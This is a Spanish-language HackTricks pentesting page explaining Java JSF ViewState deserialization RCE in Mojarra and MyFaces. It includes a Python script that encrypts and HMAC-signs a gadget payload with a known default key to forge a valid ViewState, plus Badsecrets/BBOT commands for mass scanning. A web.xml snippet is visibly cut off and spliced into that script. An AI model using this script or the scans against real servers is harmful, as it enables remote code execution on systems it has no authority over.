hacktricks/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

16 KiB
Raw Blame History

Introducción

Después de analizar las RCEs a través de bibliotecas JSON mal configuradas, comenzamos a analizar los ViewStates de las implementaciones JSF. JavaServer Faces (JSF) es una tecnología de interfaz de usuario (UI) para construir UI web con componentes reutilizables. JSF se utiliza principalmente para aplicaciones empresariales y una implementación de JSF se utiliza típicamente por una aplicación web que se ejecuta en un servidor de aplicaciones Java como JBoss EAP o WebLogic Server. Hay dos implementaciones bien conocidas de la especificación JSF:

  • Oracle Mojarra (implementación de referencia de JSF)
  • Apache MyFaces

Alcance

Esta publicación de blog se centra en las dos implementaciones JSF 2.x: Oracle Mojarra (Implementación de referencia) y Apache MyFaces. Las implementaciones antiguas (JSF 1.x) también son susceptibles de verse afectadas por las vulnerabilidades descritas en esta publicación. (JSF 2.0.x se lanzó inicialmente en 2009, la versión actual es 2.3.x).

El estado del ViewState

Una diferencia entre JSF y tecnologías web similares es que JSF utiliza ViewStates (además de sesiones) para almacenar el estado actual de la vista (por ejemplo, qué partes de la vista deben mostrarse actualmente). El ViewState puede almacenarse en el servidor o en el cliente. Los ViewStates de JSF suelen incrustarse automáticamente en los formularios HTML como campo oculto con el nombre javax.faces.ViewState. Se envían de vuelta al servidor si se envía el formulario.

ViewState en el servidor

Si el ViewState de JSF está configurado para estar en el servidor, el campo oculto javax.faces.ViewState contiene un ID que ayuda al servidor a recuperar el estado correcto. En el caso de MyFaces, ¡ese ID es un objeto Java serializado!

ViewState en el cliente

Si el ViewState de JSF está configurado para estar en el cliente, el campo oculto javax.faces.ViewState contiene un objeto Java serializado que está al menos codificado en Base64. Es posible que se haya dado cuenta hasta ahora de que esto es un camino potencial hacia el desastre. Esa podría ser una de las razones por las que hoy en día los ViewStates de JSF están cifrados y firmados antes de ser enviados al cliente.

Los peligros de los objetos Java serializados

En 2015, en la conferencia AppSec California, Gabriel Lawrence y Chris Frohoff presentaron Marshalling Pickles (how deserializing objects can ruin your day). Esta presentación arrojó algo de luz sobre los problemas olvidados con la serialización de objetos Java y llevó al descubrimiento de varias vulnerabilidades graves de ejecución remota de código (RCE).

Desafortunadamente, llevó a algunas personas a creer que la vulnerabilidad podría mitigarse eliminando/actualizando ciertas versiones de Apache Commons Collections. Una acción que puede ayudar, pero no resuelve la causa raíz del problema: Deserialización de datos no confiables (CWE 502). En otras palabras:
El uso de una versión de Apache Commons Collections 'vulnerable' no significa que la aplicación sea vulnerable, ni la ausencia de tal versión de la biblioteca significa que la aplicación no sea vulnerable.

Sin embargo, después de que un hacker malintencionado apagó y cifró los sistemas de la Agencia Municipal de Transporte de San Francisco a través de una "Vulnerabilidad de deserialización de Apache Commons Collections/Mad Gadget", Google inició Operation Rosehub. El objetivo de la operación Rosehub era encontrar tantos proyectos de código abierto de Java como fuera posible que utilizaran una versión de colecciones comunes de Apache 'amigable para el atacante' como dependencia y enviar solicitudes de extracción a los propietarios del proyecto para que esos proyectos dejaran de usar versiones problemáticas de colecciones comunes en versiones más nuevas.

El ataque al ViewState

Supongamos que tenemos una aplicación web con una página de inicio de sesión basada en JSF:

JSF based login

Esa página de inicio de sesión tiene un ViewState que no está cifrado ni firmado. Así que cuando miramos su fuente HTML, vemos un campo oculto que contiene el ViewState: ViewState de MyFaces sin cifrar:

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

Si decodificas el ViewState anterior usando Base64, notarás que contiene un objeto Java serializado. Este ViewState se envía de vuelta al servidor a través de POST cuando se envía el formulario (por ejemplo, al hacer clic en Iniciar sesión). Ahora, antes de que el ViewState se envíe de vuelta al servidor, el atacante reemplaza el ViewState con su propio ViewState malicioso utilizando un gadget que ya está en el classpath del servidor (por ejemplo, InvokerTransformer de commons-collections-3.2.1.jar) o incluso un gadget que aún no es conocido por el público. Con dicho gadget malicioso colocado en el ViewState, el atacante especifica qué comandos quiere ejecutar en el servidor. La flexibilidad de lo que un atacante puede hacer está limitada por los poderes de los gadgets disponibles en el classpath del servidor. En el caso de InvokerTransformer, el atacante puede especificar qué comandos de línea de comandos deben ejecutarse en el servidor. El atacante en nuestro ejemplo eligió iniciar una calculadora en la interfaz de usuario de nuestro servidor basado en Linux.

Después de que el atacante haya enviado su formulario modificado de vuelta al servidor, la implementación de JSF intenta deserializar el ViewState proporcionado. Ahora, incluso antes de que la deserialización del ViewState haya terminado, se ejecuta el comando y se inicia la calculadora en el servidor:

calculadora iniciada a través de un ViewState de JSF

Todo sucedió antes de que la implementación de JSF pudiera echar un vistazo al ViewState y decidir que no era bueno. Cuando se encontró que el ViewState era inválido, típicamente se envía un error de vuelta al cliente como "Vista expirada". Pero entonces ya es demasiado tarde. El atacante tuvo acceso al servidor y ha ejecutado comandos. (La mayoría de los atacantes del mundo real no inician una calculadora, pero típicamente implementan una shell remota, que luego utilizan para acceder al servidor).

=> En resumen, este ejemplo demuestra una vulnerabilidad muy peligrosa de ejecución remota de código (RCE) no autenticada.

(Casi el mismo escenario de ataque contra JSF como se describe anteriormente ya se había esbozado y demostrado en la presentación de 2015 (páginas 65 a 67): Marshalling Pickles realizada por Frohoff y Lawrence).

Las condiciones previas para un ataque exitoso

Ahora, ¿cuáles son los ingredientes para un desastre?

  • ViewState no cifrado (o posesión de la clave de cifrado)
  • Gadget en el classpath del servidor
  • En el caso de Mojarra: ViewState configurado para residir en el cliente
  • En el caso de MyFaces: ViewState configurado para residir en el cliente o en el servidor

Veamos esos puntos en relación con las dos implementaciones de JSF.

Oracle Mojarra (implementación de referencia de JSF)

Como se dijo antes, Oracle Mojarra es la Implementación de Referencia (RI) de JSF, pero puede que no sea conocida con ese nombre. Puede ser conocida como Sun JSF RI, reconocida con el nombre del paquete java com.sun.faces o con el nombre ambiguo del archivo jar jsf-impl.jar.

Mojarra: ViewState no cifrado

Aquí está la cosa: Mojarra no cifró y firmó el ViewState del lado del cliente de forma predeterminada en la mayoría de las versiones de 2.0.x y 2.1.x. Es importante tener en cuenta que un ViewState del lado del servidor es el valor predeterminado en ambas implementaciones de JSF, pero un desarrollador podría cambiar fácilmente la configuración para usar un ViewState del lado del cliente estableciendo el parámetro javax.faces.STATE_SAVING_METHOD en cliente. El nombre del parámetro no revela de ninguna manera que cambiarlo a cliente introduce graves vulnerabilidades de ejecución remota de código (por ejemplo, un ViewState del lado del cliente podría usarse en aplicaciones web en clúster).

Si bien el cifrado del ViewState del lado del cliente es el valor predeterminado en Mojarra 2.2 y versiones posteriores, no lo fue para las ramas 2.0.x y 2.1.x. Sin embargo, en mayo de 2016, los desarrolladores de Mojarra comenzaron a retroportar el cifrado predeterminado del ViewState del lado del cliente a 2.0.x y 2.1.x cuando se dieron cuenta de que los ViewStates no cifrados conducían a vulnerabilidades de RCE.

Por lo tanto, al menos la versión 2.1.29-08 (lanzada en julio de 2016) de la rama 2.1.x y la versión 2.0.11-04 (también lanzada en julio de 2016) de la rama 2.0.x tienen el cifrado habilitado de forma predeterminada.

Cuando analizamos las bibliotecas de Mojarra, notamos que Red Hat también lanza versiones de Mojarra para las ramas 2.1.x y 2.0.x, siendo la última 2.1.29-jbossorg-1 y 2.0.4-b09-jbossorg-4. Dado que ambos lanzamientos no tenían cifrado predeterminado del ViewState, contactamos a Red Hat y ellos crearon rápidamente Bug 1479661 - JSF client side view state saving deserializes data en su rastreador de errores con el siguiente consejo de mitigación para la rama 2.1.x:

Una aplicación web vulnerable debe haber establecido javax.faces.STATE_SAVING_METHOD en 'cliente' para habilitar el guardado de ViewState del lado del cliente. El valor predeterminado en Enterprise Application Platform (EAP) 6.4.x es 'servidor'.

Si javax.faces.STATE_SAVING_METHOD está establecido en 'cliente', una mitigación para este problema es cifrar la vista estableciendo com.sun.faces.ClientStateSavingPassword en el archivo web.xml de la aplicación:

  <context-param>
    <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
    <param-value>cliente</param-value>
  </context-param>

  <env­-entry> 
    <env­-entry-­name>com.sun.faces.ClientStateSavingPassword</env­-entry-
#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *

YELLOW = "\033[93m"
GREEN = "\033[32m"

def encrypt(payload,key):
	cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
	enc_payload = cipher.encrypt(payload)
	return enc_payload

def hmac_sig(enc_payload,key):
	hmac_sig = hmac.new(key, enc_payload, sha1)
	hmac_sig = hmac_sig.digest()
	return hmac_sig

key = b'JsF9876-'

if len(sys.argv) != 3 :
	print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
	with open(sys.argv[1], "rb") as f:
		payload = f.read()
		f.close()
	print(YELLOW + "[+] Encrypting payload")
	print(YELLOW + "  [!] Key : JsF9876-\n")
	enc_payload = encrypt(payload,key)
	print(YELLOW + "[+] Creating HMAC signature")
	hmac_sig = hmac_sig(enc_payload,key)
	print(YELLOW + "[+] Appending signature to the encrypted payload\n")
	payload = b64encode(enc_payload + hmac_sig)
	payload = parse.quote_plus(payload)
	print(YELLOW + "[*] Final payload : {}\n".format(payload))
	with open(sys.argv[2], "w") as f:
		f.write(payload)
		f.close()
	print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))

Detección de claves conocidas con Badsecrets

Badsecrets es una biblioteca capaz de detectar el uso de claves criptográficas conocidas al examinar los productos que producen y verificarlos con una lista de claves conocidas o débiles. Su módulo Jsf_viewstate es capaz de detectar Java Server Faces ViewStates creados con claves conocidas tanto en Mojarra como en MyFaces, además de ViewStates sin protección o comprimidos.

La forma más rápida de usarlo es con la herramienta de ejemplo cli.py de la siguiente manera:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=

Si encuentra una coincidencia, también mostrará la plataforma (Mojarra o MyFaces), el algoritmo de cifrado utilizado y si se utilizó o no compresión, lo cual es esencial para la explotación.

Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo badsecrets de BBOT.

bbot -f subdomain-enum -m badsecrets -t evil.corp

Reflexiones finales

La mayoría de los hechos sobre los JSF ViewStates y sus peligros presentados en esta publicación de blog no son exactamente nuevos, pero parece que nunca se presentaron de manera tan condensada. Demostró una vez más que los cambios de configuración aparentemente inofensivos pueden llevar a vulnerabilidades graves.

=> Uno de los problemas parece ser que no hay suficiente transferencia de conocimiento entre los investigadores de seguridad y los desarrolladores que realmente usan y configuran bibliotecas que pueden ser peligrosas cuando se configuran de ciertas maneras.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥